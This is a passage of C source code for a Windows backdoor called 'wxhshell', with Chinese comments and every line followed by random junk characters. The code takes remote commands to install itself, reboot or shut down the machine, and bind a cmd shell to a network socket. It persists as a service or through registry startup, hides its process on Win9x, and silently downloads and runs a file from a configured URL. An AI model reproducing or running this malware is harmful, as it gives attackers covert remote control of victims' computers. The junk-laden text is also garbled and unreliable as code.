  case '?': { #4BwYj(Sl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *~SanL\  
    break; Q.Xs%{B  
  } ?3=y]Vb+  
  // 安装 tqXr6+!Q  
  case 'i': { )]M,OMYq-  
    if(Install()) K|sk]2.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]CxD m  
    else o4F(X0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ALXie86a8  
    break; 7w51UmO  
    } P}8cSX9  
  // 卸载 R;3n L[{U  
  case 'r': { ^bG91"0A  
    if(Uninstall()) !@3"vd{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _`.Wib+  
    else Ev>P|k V&A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ q:S]YB   
    break; &5d~ODO  
    } ;(r,;S_`0  
  // 显示 wxhshell 所在路径 5u=>~yK+  
  case 'p': { X([p0W 9V(  
    char svExeFile[MAX_PATH]; :` >bh  
    strcpy(svExeFile,"\n\r"); {j[a'Gb  
      strcat(svExeFile,ExeFile); JBk >|q"  
        send(wsh,svExeFile,strlen(svExeFile),0); ^aR^M\38  
    break; []b= xRJM  
    } SQs+4YJ  
  // 重启 n4InZ!)  
  case 'b': { p!>DA?vF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /^hc8X  
    if(Boot(REBOOT)) Aa4 DJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r&3EM[*Iw  
    else { Lq2ZgKd!  
    closesocket(wsh); >0E3Em<(}l  
    ExitThread(0); _|VF^\i  
    } s a{x.2/o}  
    break; <N{Y*,^z  
    } }?^]-`b  
  // 关机 d}Xb8SaE%c  
  case 'd': { lsA?|4`mn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %sCG}? y  
    if(Boot(SHUTDOWN)) sWv!ig_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ke b.%cb=  
    else { 9 iV_  
    closesocket(wsh); t$z 5m<8  
    ExitThread(0); pS+hE4D  
    } Te2 C<c  
    break; wA\a ]X.  
    } N$N 7aE$  
  // 获取shell %E2V$l0  
  case 's': { d.$0X/0  
    CmdShell(wsh); Q8D#kAYw  
    closesocket(wsh); oy\U\#k   
    ExitThread(0); .<4U2h  
    break; Qz4Do6#y  
  } T/234;Uf|  
  // 退出 9m%2&fjK^  
  case 'x': { @%BsQm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4^T_" W}  
    CloseIt(wsh); P,@/ap7J  
    break; ~JHEr48  
    } )F+wk"`+6  
  // 离开 p|g7Z  
  case 'q': { G@P+M1c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0+T:};]  
    closesocket(wsh); mJZB@m u?  
    WSACleanup(); -QK- w>  
    exit(1); xX.kKEo"d  
    break; '*D>/hn|:]  
        } |j=Pj)5J  
  } W. BX6  
  } ? =G{2E.  
I,W `s  
  // 提示信息 dkg| kw'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uCoy~kt292  
} ny:/a  
  } RTr"#[  
I]a [Ngj  
  return; f7/M_sx  
} OlP1Zd/l  
q $PO. #  
// shell模块句柄 {F;"m&3Lt  
int CmdShell(SOCKET sock) {r%T_BfY  
{ n0Qp:_2z  
STARTUPINFO si; &v#pS!UOj  
ZeroMemory(&si,sizeof(si)); f2u4*X E\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Clb7=@f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nq1YFI>W  
PROCESS_INFORMATION ProcessInfo; P9W?sPnC5  
char cmdline[]="cmd"; t;`ULp~&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /ke[nr  
  return 0; Z7>Nd$E{  
} g}d[j I9  
3wg1wl|  
// 自身启动模式 6O_l;A[=1  
int StartFromService(void) NOmFQ)/ &  
{ nNf*Q r%Z  
typedef struct *7w!~mn[m  
{ aNBwb9X  
  DWORD ExitStatus; B=~uJUr  
  DWORD PebBaseAddress; =b, m3 1  
  DWORD AffinityMask; 0g9y4z{H  
  DWORD BasePriority; Xk!wT2;  
  ULONG UniqueProcessId; \-SC-c  
  ULONG InheritedFromUniqueProcessId; %C_c%3d  
}   PROCESS_BASIC_INFORMATION; kbo9nY1k g  
&?}A/(#  
PROCNTQSIP NtQueryInformationProcess; ~C>clkZ  
rv`GOta*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 @i/N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nt\0) &b  
^*w}+tB  
  HANDLE             hProcess; "T*1C=  
  PROCESS_BASIC_INFORMATION pbi; }0?XF/e(R  
Shv$"x:W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OZA^L;#>  
  if(NULL == hInst ) return 0; V"B/4v>  
)2Bb,p<Wr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H>o \C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %|j8#09  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A/{!w"G  
p[ &b@U#  
  if (!NtQueryInformationProcess) return 0; oJQ \?~  
z;MPp#Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D8{ ,}@  
  if(!hProcess) return 0; U }AIOtUw  
6Yc(|>b!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^#IE t#  
Wt=\hixj-  
  CloseHandle(hProcess); |AT`(71  
;/t~MH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %w?C)$Kn\  
if(hProcess==NULL) return 0; WZTAXOw  
FmFjRYA W  
HMODULE hMod; J~n|5* cz  
char procName[255]; W23Q>x&S  
unsigned long cbNeeded; fjy7gC2  
3.1%L"r[)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T Y% =Y=  
B3pjli  
  CloseHandle(hProcess); $N Mu  
!K0 U..  
if(strstr(procName,"services")) return 1; // 以服务启动 i]OEhB Y  
$E.Fgy:G  
  return 0; // 注册表启动 D)Ep!`Q   
} )U7fPKQ  
1wm`a  
// 主模块 ^!x! F  
int StartWxhshell(LPSTR lpCmdLine) 8]oolA:^4s  
{ "0,FB4L[U5  
  SOCKET wsl; c2Exga_  
BOOL val=TRUE; ) iZU\2L  
  int port=0; c&N;r|N  
  struct sockaddr_in door; L|L|liWd  
#kh:GAp]  
  if(wscfg.ws_autoins) Install(); p<zeaf0W  
5S, Kq35$(  
port=atoi(lpCmdLine); )8oN$2 0  
J_fs}Y1q\  
if(port<=0) port=wscfg.ws_port; Pd-LDs+Ga  
`HO] kJpX  
  WSADATA data; s 0_*^cZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (> _Lb  
|rG)Q0H,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !dUdz7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EeT 69o  
  door.sin_family = AF_INET; gwdAf%|f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pouo# 5  
  door.sin_port = htons(port); 1)jea wVmj  
`SOQPAnK+;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RRpY%-8M  
closesocket(wsl); \yZVn6GVr  
return 1; i7Cuc+ j8  
} 3%Eu$|B  
:U *8S\$  
  if(listen(wsl,2) == INVALID_SOCKET) { n#}~/\P6  
closesocket(wsl); ^#Mp@HK  
return 1; N  /'  
} .ZV='i()X  
  Wxhshell(wsl); j S[#R_  
  WSACleanup(); fVf:voh  
9D Nd} rXO  
return 0; (wuciKQ  
p*)I QM<B  
} c~O Lr  
TUz4-Pd  
// 以NT服务方式启动 M@P%k`6C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {Z7ixc523  
{ $(+xhn(O  
DWORD   status = 0; K0>+-p oL  
  DWORD   specificError = 0xfffffff; 8 aIqc  
%P M#gnt@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9#m3<oSJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KO%$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W$2 \GPJt  
  serviceStatus.dwWin32ExitCode     = 0; 2K{'F1"RM  
  serviceStatus.dwServiceSpecificExitCode = 0; _x1W\#  
  serviceStatus.dwCheckPoint       = 0; ~, E }^  
  serviceStatus.dwWaitHint       = 0; l U8pX$  
 @;$cX2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :CK`v6 Qs  
  if (hServiceStatusHandle==0) return; D B65vM  
,|3_@tUl  
status = GetLastError(); ?o$ t{AQ  
  if (status!=NO_ERROR) OzD\* ,{7  
{ W h)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U\B9Ab  
    serviceStatus.dwCheckPoint       = 0; _P!b0x~\  
    serviceStatus.dwWaitHint       = 0; K;WQV,  
    serviceStatus.dwWin32ExitCode     = status; ok0ZI>=,  
    serviceStatus.dwServiceSpecificExitCode = specificError; |m6rF7Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cm_5,wB(w  
    return; &P>& T  
  } `/`iLso& -  
aL*MCgb'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [Eccj`\e g  
  serviceStatus.dwCheckPoint       = 0; :Yn.Wv-  
  serviceStatus.dwWaitHint       = 0; 6i~|<vcSP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /9&!u )+  
} l@* $C&E  
/} z9(  
// 处理NT服务事件,比如:启动、停止 s]O Z+^Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rks"y&&Nc  
{ cTzR<Yr  
switch(fdwControl) ?upd  
{ z-b78A/8  
case SERVICE_CONTROL_STOP: 8a`3eM~?[  
  serviceStatus.dwWin32ExitCode = 0; R`E:`t4G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &M<"Fmn  
  serviceStatus.dwCheckPoint   = 0; TWGn: mi  
  serviceStatus.dwWaitHint     = 0; j6RV{Lkr_  
  { c0o Z7)*}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "igA^^?X1N  
  } R9 Ab.t  
  return; }/&Zo=Q$  
case SERVICE_CONTROL_PAUSE: :$k1I-^R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FeMgn`q  
  break; cu foP&  
case SERVICE_CONTROL_CONTINUE: y< j7iN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wK7w[Xt  
  break; j5" L  
case SERVICE_CONTROL_INTERROGATE: dsx<ZwZN>  
  break; .?5 ~zK  
}; 036m\7+Qj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5,s@K>9l;  
} F-rhxJd  
]&"ii  
// 标准应用程序主函数 1fMV$T==K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %J9u?-~  
{ 3<+ZA-2  
V0Oqq0\  
// 获取操作系统版本 }BU%<5CQ  
OsIsNt=GetOsVer(); l0`bseN <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0m]QQGvJ{  
F~fBr  
  // 从命令行安装 T9& {s-3*  
  if(strpbrk(lpCmdLine,"iI")) Install(); }T(=tfv@  
~!~i_L\V  
  // 下载执行文件 u&uFXOc'  
if(wscfg.ws_downexe) { &g&,~Y/z;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JygJ4RI%j  
  WinExec(wscfg.ws_filenam,SW_HIDE); {l!{b1KJ  
} h)ZqZ'k$  
B }euIQB  
if(!OsIsNt) { 89^g$ ac  
// 如果时win9x,隐藏进程并且设置为注册表启动 pTG[F  
HideProc(); ^.iRU'{  
StartWxhshell(lpCmdLine); RV_I&HD!  
} O50<h O]l  
else _b&26!gl  
  if(StartFromService()) 1uN;JN `_  
  // 以服务方式启动 J^yqu{  
  StartServiceCtrlDispatcher(DispatchTable); X,aRL6>r  
else 6`Y:f[VB  
  // 普通方式启动 }Vob)r{R@  
  StartWxhshell(lpCmdLine); HVoP J!K3  
4)D~S4{E5  
return 0;  K];]  
}
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只看该作者 1 发表于: 2006-10-10
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